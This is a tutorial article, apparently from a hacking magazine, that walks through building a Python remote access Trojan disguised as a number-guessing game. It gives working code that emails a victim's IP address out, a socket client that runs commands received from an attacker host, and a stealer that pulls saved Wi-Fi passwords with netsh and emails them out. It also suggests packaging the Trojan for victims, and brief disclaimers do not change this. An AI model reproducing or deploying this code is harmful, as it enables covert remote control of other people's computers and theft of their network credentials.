Article content
In this article, I will show you how to write a simple remote access Trojan in Python, and for better concealment, we will embed it into a game. Even if you don’t know Python, you will gain a better understanding of how such malware works and practice programming.
Of course, the scripts provided in the article are not suitable for use in real-world scenarios: they lack obfuscation, the principles are as simple as a stick, and there are no harmful functions at all. However, with a little creativity, they can be used for simple pranks — for example, shutting down someone’s computer in class (or at the office, if you’re done messing around in class).
THEORY
So, what exactly is a Trojan? A virus is a program whose main task is self-replication. A worm spreads actively across the network (a typical example is “Petya” and WannaCry), while a Trojan is a hidden malicious program that disguises itself as “good” software.
The logic behind such an infection is that the user downloads the malware onto their computer themselves (for example, posing as a cracked program), disables protective mechanisms (since the program appears to be safe), and intends to keep it for a long time. Hackers are always on the lookout, which is why news often reports new victims of pirated software and ransomware affecting fans of free stuff. But we know that free cheese only exists in the trash, and today we will learn how to fill that cheese with something rather unexpected.
WARNING
All information is provided for informational purposes only. Neither the author nor the editorial team is responsible for any potential damage caused by the materials in this article. Unauthorized access to information and disruption of system operations may be prosecuted by law. Keep this in mind.
DETERMINING THE IP
First, we (or rather, our Trojan) need to determine where it is located. An important piece of information is the IP address, through which we will be able to connect to the infected machine later.
Let’s start writing the code. We’ll import the necessary libraries right away:
import socket
from requests import get
PythonBoth libraries do not come with Python by default, so if you don’t have them, you’ll need to install them using the pip command:
pip install socket
pip install requests
BashINFO
If you see an error stating that pip is missing, you first need to install it from pypi.org. Interestingly, the recommended way to install pip is through pip itself, which is, of course, very useful when pip is absent.
The code for obtaining both external and internal addresses will look like this. Note that if the victim has multiple network interfaces (e.g., Wi-Fi and Ethernet at the same time), this code may not behave correctly.
# Determine the device name in the network
hostname = socket.gethostname()
# Determine the local (internal network) IP address
local_ip = socket.gethostbyname(hostname)
# Determine the global (public/internet) IP address
public_ip = get('http://api.ipify.org').text
PythonWhile finding the local address is relatively simple — we get the device name in the network and look up the IP by the device name — determining the public IP is a bit more complex.
I chose the website api.ipify.org because it provides us with only a single line — our external IP. By combining the public and local IPs, we can get a nearly accurate address for the device.
To display the information even more simply:
print(f'Host: {hostname}')
print(f'Local IP: {local_ip}')
print(f'Public IP: {public_ip}')
PythonHave you ever encountered constructs like print(f'{}')
? The letter f stands for formatted string literals. In simple terms, it means embedding variables directly into a string.
INFO
String literals not only look good in code but also help avoid errors like adding strings and numbers together (Python — this is not JavaScript!).
Final code:
import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Host: {hostname}')
print(f'Local IP: {local_ip}')
print(f'Public IP: {public_ip}')
PythonBy running this script, we will be able to determine the IP address of our (or someone else’s) computer.
BACKCONNECT VIA EMAIL
Now let’s write a script that will send us an email.
Import the new libraries (both need to be installed beforehand via pip install
):
import smtplib as smtp
from getpass import getpass
PythonWrite basic information about yourself:
# Email from which the message will be sent
email = 'xaepmail@yandex.ru'
# Password for this email (instead of ***)
password = '***'
# Email to which the message will be sent
dest_email = 'demo@xap.ru'
# Subject of the email
subject = 'IP'
# Body text of the email
email_text = 'TEXT'
PythonNext, let’s create the email:
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
PythonThe final step is to set up the connection to the mail service. I use Yandex.Mail, so the settings are configured for it.
server = smtp.SMTP_SSL('smtp.yandex.com') # Yandex SMTP server
server.set_debuglevel(1) # Minimize error output (only fatal errors are shown)
server.ehlo(email) # Send EHLO packet to the server
server.login(email, password) # Log in to the email account from which the message will be sent
server.auth_plain() # Authenticate
server.sendmail(email, dest_email, message) # Enter sender and recipient addresses and the message itself
server.quit() # Disconnect from the server
PythonIn the server.ehlo(email)
line, we use the EHLO command. Most SMTP servers support ESMTP and EHLO. If the server you’re trying to connect to doesn’t support EHLO, you can use HELO instead.
The full code for this part of the Trojan:
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'xaepmail@yandex.ru'
password = '***'
dest_email = 'demo@xap.ru'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
PythonRunning this script will send an email.

This script I checked on VirusTotal. The result is in the screenshot.

TROJAN
The idea behind the Trojan is that it is a client-server application, with the client on the victim’s machine and the server on the attacker’s machine. The goal is to implement maximum remote access to the system.
As usual, let’s start with the libraries:
import random
import socket
import threading
import o
PythonFirst, let’s write the “Guess the Number” game. It’s very simple, so I won’t spend too much time on it.
def game():
# Generate a random number between 0 and 1000
number = random.randint(0, 1000)
# Attempts counter
tries = 1
# Game completion flag
done = False
# While the game is not over, ask for a new number
while not done:
guess = input('Enter a number: ')
# If a number is entered
if guess.isdigit():
# Convert it to an integer
guess = int(guess)
# Check if it matches the secret number; if yes, set the flag and print the victory message
if guess == number:
done = True
print(f'You won! I guessed {guess}. You used {tries} attempts.')
# If not guessed, increase the attempt counter and check whether the number is larger or smaller
else:
tries += 1
if guess > number:
print('The secret number is smaller!')
else:
print('The secret number is larger!')
# If it's not a number, show an error message and ask for input again
else:
print('This is not a number between 0 and 1000!')
PythonINFO
Why complicate the number check so much? It could have been written simply as guess = int(input('Enter a number: '))
. If we had written it that way, any input other than a number would result in an error, but we can’t allow that because an error would stop the program and cut off the connection.
Here’s the code for our Trojan. Below, we’ll go over how it works so we don’t have to repeat the basics.
def trojan():
# IP address of the target
HOST = '192.168.2.112'
# Port to use for communication
PORT = 9090
# Create a client socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target server
client.connect((HOST, PORT))
while True:
# Receive command from the server
server_command = client.recv(1024).decode('cp866')
# If the command matches the keyword 'cmdon', enter terminal mode
if server_command == 'cmdon':
cmd_mode = True
# Send information back to the server
client.send('Access to terminal granted'.encode('cp866'))
continue
# If the command matches the keyword 'cmdoff', exit terminal mode
if server_command == 'cmdoff':
cmd_mode = False
# If terminal mode is active, execute the command in the terminal through the server
if cmd_mode:
os.popen(server_command)
# If terminal mode is off, handle any other commands
else:
if server_command == 'hello':
print('Hello World!')
# Send a response to the server
client.send(f'{server_command} successfully sent!'.encode('cp866'))
PythonFirst, we need to understand what a socket is and how it works. In simple terms, a socket is a kind of plug or socket for programs. There are client and server sockets: the server socket listens on a specific port (the socket), while the client socket connects to the server (the plug). Once the connection is established, data exchange begins.
So, the line client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
creates an echo server (send a request — get a response). AF_INET
means it works with IPv4 addressing, and SOCK_STREAM
indicates that we’re using a TCP connection instead of UDP, where the packet is sent over the network but isn’t tracked further.
The line client.connect((HOST, PORT))
specifies the host’s IP address and port for the connection and immediately connects.
The function client.recv(1024)
receives data from the socket and is called a “blocking call.” The purpose of this call is that it will keep executing until the command is transmitted or rejected by the other party. 1024
is the number of bytes allocated for the receiving buffer. More than 1024 bytes (1 KB) cannot be received at once, but that’s fine for most cases — how often do you manually type more than 1000 characters in the console? It’s not necessary to repeatedly increase the buffer size — that would be costly and unnecessary since a large buffer is needed only rarely.
The command decode('cp866')
decodes the received byte buffer into a text string according to the specified encoding (in our case, cp866). But why cp866? Let’s open the command prompt and type the command chcp
.

Current code page
The default encoding for Russian-speaking devices is 866, where Cyrillic characters are added to the Latin alphabet. In English-language versions of the system, standard Unicode is used, specifically utf-8 in Python. Since we’re speaking Russian, supporting this encoding is essential.
INFO
If desired, the encoding can be changed in the command prompt by typing its number after chcp
. Unicode is assigned the number 65001.
When receiving a command, it’s important to determine whether it’s a system command. If so, execute the corresponding actions. Otherwise, if the terminal is enabled, redirect the command there. The drawback is that the result of the execution remains unprocessed, and ideally, it should be sent back to us. This will be your homework: implementing this function can take about fifteen minutes, even if you Google each step.
The result of checking the client on VirusTotal was quite satisfactory.

The basic Trojan is written, and now we can do a lot on the attacked machine since we have access to the command line. But why not expand the set of functions? Let’s also steal the Wi-Fi passwords!
WI-FI STEALER
The task is to create a script that retrieves all Wi-Fi passwords from available networks using the command line.
Let’s get started. Import libraries:
import subprocess
import time
PythonThe subprocess
module is used to create new processes and connect to the standard input-output streams, as well as to retrieve return codes from those processes.
Here’s the script for extracting Wi-Fi passwords:
# Create a command to show Wi-Fi profiles and decode it using the encoding in the core
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
# Create a list of all network profile names (Wi-Fi names)
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "All user profiles" in line]
# For each name...
for Wi-Fi in Wi-Fis:
# ...run the command to show the profile's details, including the password
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
# Extract the password
results = [line.split(':')[1][1:-1] for line in results if "Key content" in line]
# Try to display it in the command line, catching any errors
try:
print(f'Network name: {Wi-Fi}, Password: {results[0]}')
except IndexError:
print(f'Network name: {Wi-Fi}, Password not found!')
PythonBy entering the command netsh wlan show profiles
in the command line, we’ll get the following output.

netsh wlan show profiles
If you parse the output above and substitute the network name into the command netsh wlan show profile [network name] key=clear
, the result will be as shown in the image. You can then analyze the output and extract the network password.

netsh wlan show profile ASUS key=clear

VirusTotal verdict
There is only one problem left: our original idea was to grab the passwords for ourselves, not to show them to the user. Let’s fix that.
We’ll add another version of the command to the script, where we process our commands from the network.
if server_command == 'Wi-Fi':
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for Wi-Fi in Wi-Fis:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', Wi-Fi, 'key=clear']).decode('cp866').split('\n')
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
try:
email = 'xakepmail@yandex.ru'
password = '***'
dest_email = 'demo@xakep.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password: {results[0]}')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
except IndexError:
email = 'xaepmail@yandex.ru'
password = '***'
dest_email = 'demo@xap.ru'
subject = 'Wi-Fi'
email_text = (f'Name: {Wi-Fi}, Password not found!')
message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
PythonINFO
This script is as simple as two rubles and expects to see a Russian-speaking system. It won’t work on other languages, but the script’s behavior can be fixed by simply selecting the separator from a dictionary, where the key is the language detected on the computer, and the value is the required phrase in the needed language.
All commands of this script have already been thoroughly explained, so I won’t repeat myself, and will just show a screenshot from my email.

Improvements
Of course, almost everything here can be improved — from securing the transmission channel to protecting the actual code of our malware. The methods of communication with the attacker’s control servers are also usually different, and the malware’s operation is not dependent on the operating system language.
And, of course, it is highly recommended to package the virus using PyInstaller, so you don’t drag Python and all dependencies onto the victim’s machine. A game that requires installing a module to work with mail — what could be more trustworthy?
CONCLUSION
Today’s Trojan is so simple that it can’t really be considered a combat-ready one. Nevertheless, it is useful for learning the basics of Python and understanding the algorithms behind more complex malicious programs. We hope that you respect the law, and that the knowledge you’ve gained about Trojans will never be needed.
As homework, I recommend trying to implement a two-way terminal and data encryption, at least using XOR. Such a Trojan would be much more interesting, but, of course, we do not encourage using it in the wild. Be careful!